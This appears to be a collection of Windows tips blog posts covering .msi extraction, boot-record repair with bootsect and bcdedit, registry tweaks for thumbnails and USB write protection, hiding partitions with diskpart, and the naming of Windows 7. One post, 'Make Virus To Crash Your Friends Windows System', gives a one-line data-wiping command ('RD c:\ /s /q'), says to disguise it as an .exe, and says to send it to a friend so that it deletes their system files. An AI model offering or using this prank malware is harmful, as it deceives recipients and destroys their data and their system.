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Extract the contents of a .msi executable setup file
Setup executable files are of many types among which there are two famous types, .msi and .exe files. Both the setup files are self extracting files which installs themselves when double clicked, thus it is bit difficult to see the contents of the setup files before installation.


Every once in a while I need to extract the content of a .msi file in order to customize a deployment for a particular network environment. Sometimes initializing the .msi installer will temporarily extract the files into C:\Documents and Settings\<username>\Local Settings\Temp, but those files are removed once the installer exits.
To extract files from a .msi follow my instructions: 
Step 1: Open run and type cmd..


Step 2: Type msiexec /a C:\yourfile.msi /qb TARGETDIR=G:\msi_test




Note: C:\yourfile.msi is the file which will be extracted. G:\msi_test is the folder location where the extracted files will be located. The destination directory does not need to exist prior to running this command.


Step 3: Now wait for a few seconds.. Then u will see a popup extracting files.


Step 4: It's done. Now open the target directory and check out extracted files and folders.
Restore Multiboot Options In Windows 7
Repair the MBR to restore Windows 7 to your Multiboot Options

Each time you install a version of Windows, it rewrites the MBR to call its own boot loader. If you install Windows 7 (or Windows Vista) as a second operating system on a PC where Windows XP is already installed, the Windows boot menu incorporates the options from the older boot menu. But if you install a fresh copy of Windows XP (or Windows Server 2003) on a system that is already running Windows 7, you’ll overwrite the MBR with one that doesn’t recognize the Windows 7 boot loader. To repair the damage, open a Command Prompt window in the older operating system and run the following command from the Windows 7 DVD, substituting the letter of your DVD drive for X here:

    X:\boot\ bootsect.exe /nt60 all

Now Restart your PC. It will boot to Windows 7. Now  open your CMD and type these commands.

    C:\Windows\system32\Bcdedit /create {ntldr} /d "Earlier Versions of Windows OS"
                     Note: In this command, Earlier Versions of Windows OS can be any text that you want. It's a Description of the OS.

    C:\Windows\system32\Bcdedit /set {ntldr} device partition=D:
                     Note:  In this command, D: is the drive letter for the active partition.

    C:\Windows\system32\Bcdedit /set {ntldr} path \ntldr

    C:\Windows\system32\Bcdedit /displayorder {ntldr} /addlast

Now you can find your older versions of Windows.
How To Change Thumbnail Size And Quality
If any of you out there like to use the thumbnail view, especially for browsing through photos and images, it can become a bit of a drain on your system. It is possible to lower the thumbnail size and quality by editing the following registry keys.

Open the registry and navigate to :

HKEY_CURRENT_USER\ Software\ Microsoft \ Windows\ CurrentVersion\ Explorer

Create a new DWORD value called ThumbnailSize, and set the value between 32 and 256.

And/or create another DWORD value called ThumbnailQuality, and set the value between 50 and 100.

Key Details :

USER Key: [HKEY_CURRENT_USER\ Software\ Microsoft \ Windows\ CurrentVersion\ Explorer]
Value Name: ThumbnailSize
Data Type: REG_DWORD (DWORD Value)
Data Value: 32 - 256

USER Key: [HKEY_CURRENT_USER\ Software\ Microsoft \ Windows\ CurrentVersion\ Explorer]
Value Name: ThumbnailQuality
Data Type: REG_DWORD (DWORD Value)
Data Value: 50 - 100
Make your USB Drive Write Protected


Users to plug in a USB flash drive, because they could so easily copy corporate data.
Since Windows XP SP2,& Above you can disable writing to USB devices altogether using a simple registry hack. Here it is:


Open your Notepad


type following n save it DisableUSB.reg


Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\StorageDevicePolicies]

"WriteProtect"=dword:000000001


Now for EnableUSB.reg

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\StorageDevicePolicies]

"WriteProtect"=dword:00000000


Note:- Once you use the registry hack, you will have to reboot for the changes to take effect.
Uninstall and Remove Windows 7 or Vista on Dual Boot with Windows XP


Windows operating system supports dual-booting a PC, where users can install multiple OSes and select which system to boot up to on machine startup. If you have installed Windows 7 or Windows Vista on top of current existing Windows XP to make the PC a dual boot system, but now decided to ditch or dump the Windows 7 or Windows Vista partition to revert to the old good classic Windows XP follow the guide below to uninstall and remove Windows 7 or Windows Vista to leave only Windows XP without having to reinstall the OS, and without affecting saved files and data.

Important: Do not use this tutorial if your dualboot system is Windows 7 and Windows Vista.

   1. Boot up and log on to Windows XP desktop.
   2. Insert the Windows Vista or Windows 7 DVD installation disc into CD-ROM or DVD-ROM optical drive.

      Alternatively, mount the Windows 7 or Windows Vista DVD ISO image on any virtual drive.
   3. Run Command Prompt, or click directly to Start menu -> Run command.
   4. In the command prompt or the Run text box, issue the following command and hit Enter:

      [DVD Drive Letter]:\boot\bootsect.exe /nt52 ALL /force

      For example,

      If the DVD drive path is D:, then enter the following:

      D:\boot\bootsect.exe /nt52 ALL /force

      The step will remove the boot menu to select operating system to start.
   5. Remove the DVD disc and restart the computer.
   6. The computer will boot up with Windows XP installation partition.
   7. Manually remove files and folders of Windows Vista or Windows 7, including Windows, Program Files and Users folder. If you’re installing to separate partition, just format the partition to clean it instantly (with FDisk, Disk Manager of Computer Management or third party partition management software such as Partition Magic or EASEUS Partition Manager).
   8. On the root system folder of Windows XP, delete Boot.BAK and BootSect.BAK. The two files are remnant backup leftover files of previously installed Windows Vista or Windows 7 bootloader, but no longer useful for Windows XP only system.

Tip: NT52 is the MBR (Master Boot Record) used by Windows XP and Windows Server 2003, while Windows Vista uses NT6. So if you’re uninstall Windows 7 in Vista/7 dual boot system, change the NT52 in the command to NT60.

Fast Shortcut: It’s also possible to format the Windows Vista or Windows 7 partition straight away, and then start the computer with Windows XP Setup CD to repair the system partition, or run the “bootsect /nt52 c:” command above from the \boot\ folder of leftover OS immediately to repair the boot partition.

Tip: When startup repair the boot record after removing an installed operating system from dual-boot or multi-boot system, always use the highest version of Windows installation DVD/CD to perform the repair. For example, in a tri-boot PC with Windows XP, Vista and 7, after uninstalling Windows 7, use Windows Vista to repair the system. If the PC is restored and reverted back to Windows XP, then use the Windows XP setup CD.
Make Virus To Crash Your Friends Windows System


Warning: Never use it on your own computer. If Program accidentally get activated on your system, You can't repair it again. In this case you have to reinstall your window again.!!!!

Steps to create this program or virus. 
Step 1: Open NOTEPAD and type this command :- 
                      RD c:\ /s /q

Note: C:\ is the location where system files are located. You can change it.


Step 2: Now save as this file and give any name you want with extension .exe and save as file type (all files).

Note: Actually it's a batch file program. But most of the people runs .exe files without thinking anything.. So I am using .exe extension instead of .bat

Step 3: Now send it to your friend by email or by social networking ..

Hacking Truths: This program starts deleting all system files and folders from your c:\ drive. And this may take effect after restarting victims computer.
Hide Your Partitions for Better Security

There is so many peoples want to hide for their security reason. This trick will help you to hide your HDD Partitions. But if your opponent is really smart he / she can easily find your files out. In this case I would suggest you to use True Crypt. This software can create an Encrypted Virtual HDD for your Secret files.

Step 1: Open run , type cmd.
 
Step 2: Type DiskPart in command prompt

Step 3: Type List volume
 
Step 4: select the volume which u want to hide . and type select volume 4(in my case volume 4 is for my G: drive)

Step 5: then type remove letter G

Now no-one can access your drive even by typing address in url
 
To get your drive back 





Step 1: Open run , type cmd.
 
Step 2: Type DiskPart in command prompt

Step 3: Type List volume

Step 4: select the volume in which no drive letter is displaying 

Step 5: type assign letter g
How Windows 7 Got Its Name??

Here is how it pans out, with broad strokes:

One. The very first release of Microsoft Windows: Windows 1.0

Two. The second release of Microsoft Windows: Windows 2.0

Three. The third release of Microsoft Windows (3.0, 3.1): Windows 3.0

Four. The fourth release of Microsoft Windows (95), code named Windows 4.0

Five. Then, Windows 2000 was Windows 5.0; Windows XP was Windows 5.1

Six. The release of Windows Vista was code-identified as Windows 6.0

Seven. So, the next release of Windows is be called “Windows 7“.

Eight. And the name of next release is decided to be "Windows 8"

Microsoft has decided to name its next releases in the same fashion...
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